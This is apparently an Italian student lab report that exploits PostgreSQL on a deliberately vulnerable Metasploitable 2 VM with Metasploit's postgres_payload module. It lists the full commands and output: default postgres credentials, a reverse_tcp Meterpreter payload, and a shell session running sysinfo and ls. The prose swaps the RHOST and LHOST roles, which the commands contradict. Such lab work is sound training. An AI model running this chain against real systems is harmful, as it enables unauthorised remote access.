

# REPORT S7/L3

---

Obiettivo: Usa il modulo exploit/ linux /postgres /postgres\_payload per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable 2. Esegui l'exploit per ottenere una sessione Meterpreter sul sistema target.

## SVOLGIMENTO

Verifico la connessione tra le VM Kali-Linux e Metasploitable con il comando *ping*.

```
msfadmin@metasploitable:~$ ping 192.168.1.100
PING 192.168.1.100 (192.168.1.100) 56(84) bytes of data.
64 bytes from 192.168.1.100: icmp_seq=1 ttl=64 time=1.05 ms
64 bytes from 192.168.1.100: icmp_seq=2 ttl=64 time=1.16 ms
64 bytes from 192.168.1.100: icmp_seq=3 ttl=64 time=1.30 ms
64 bytes from 192.168.1.100: icmp_seq=4 ttl=64 time=1.59 ms

--- 192.168.1.100 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2998ms
rtt min/avg/max/mdev = 1.052/1.280/1.596/0.206 ms
msfadmin@metasploitable:~$
```

```
(kali㉿kali)-[~]
└─$ ping 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data.
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=16.5 ms
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=2.75 ms
64 bytes from 192.168.1.40: icmp_seq=3 ttl=64 time=12.6 ms
64 bytes from 192.168.1.40: icmp_seq=4 ttl=64 time=14.2 ms
^C
— 192.168.1.40 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3014ms
rtt min/avg/max/mdev = 2.751/11.528/16.516/5.251 ms
```

Entro all'interno di del modulo exploit/ linux /postgres /postgres\_payload con il comando *use*, setto RHOST (Kali) e LHOST (Metasploitable).

```
msf6 > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 exploit(linux/postgres/postgres_payload) > set LPORT 4444
LPORT => 4444
msf6 exploit(linux/postgres/postgres_payload) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/postgres/postgres_payload) > show options

Module options (exploit/linux/postgres/postgres_payload):



| Name    | Current Setting | Required | Description           |
|---------|-----------------|----------|-----------------------|
| VERBOSE | false           | no       | Enable verbose output |



Used when connecting via an existing SESSION:



| Name    | Current Setting | Required | Description                       |
|---------|-----------------|----------|-----------------------------------|
| SESSION |                 | no       | The session to run this module on |



Used when making a new connection via RHOSTS:



| Name     | Current Setting | Required | Description                                                                                                                                                                                         |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| DATABASE | postgres        | no       | The database to authenticate against                                                                                                                                                                |
| PASSWORD | postgres        | no       | The password for the specified username. Leave blank for a random password.                                                                                                                         |
| RHOSTS   | 192.168.1.40    | no       | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT    | 5432            | no       | The target port                                                                                                                                                                                     |
| USERNAME | postgres        | no       | The username to authenticate as                                                                                                                                                                     |



Payload options (linux/x86/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST |                 | yes      | The listen address (an interface may be specified) |


```

Successivamente avvio l'exploit.

```
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf6 exploit(linux/postgres/postgres_payload) > exploit

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.40:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/hHawLLNV.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.1.40
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.40:58784) at 2025-01-23 04:21:14 -0500

meterpreter > █
```

Infine utilizzo il comando *sysinfo* per vedere le informazioni all'interno della macchina.

```
meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture  : i686
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
meterpreter > ls
Listing: /var/lib/postgresql/8.3/main
=====
```

Mode	Size	Type	Last modified	Name
100600/rw-----	4	fil	2010-03-17 10:08:46 -0400	PG_VERSION
040700/rwx-----	4096	dir	2010-03-17 10:08:56 -0400	base
040700/rwx-----	4096	dir	2025-01-13 13:08:10 -0500	global
040700/rwx-----	4096	dir	2010-03-17 10:08:49 -0400	pg_clog
040700/rwx-----	4096	dir	2010-03-17 10:08:46 -0400	pg_multixact
040700/rwx-----	4096	dir	2010-03-17 10:08:49 -0400	pg_subtrans
040700/rwx-----	4096	dir	2010-03-17 10:08:46 -0400	pg_tblspc
040700/rwx-----	4096	dir	2010-03-17 10:08:46 -0400	pg_twophase
040700/rwx-----	4096	dir	2010-03-17 10:08:49 -0400	pg_xlog
100600/rw-----	125	fil	2025-01-13 09:16:40 -0500	postmaster.opts
100600/rw-----	54	fil	2025-01-13 09:16:40 -0500	postmaster.pid
100644/rw-r--r--	540	fil	2010-03-17 10:08:45 -0400	root.crt
100644/rw-r--r--	1224	fil	2010-03-17 10:07:45 -0400	server.crt
100640/rw-r-----	891	fil	2010-03-17 10:07:45 -0400	server.key

```
meterpreter > █
```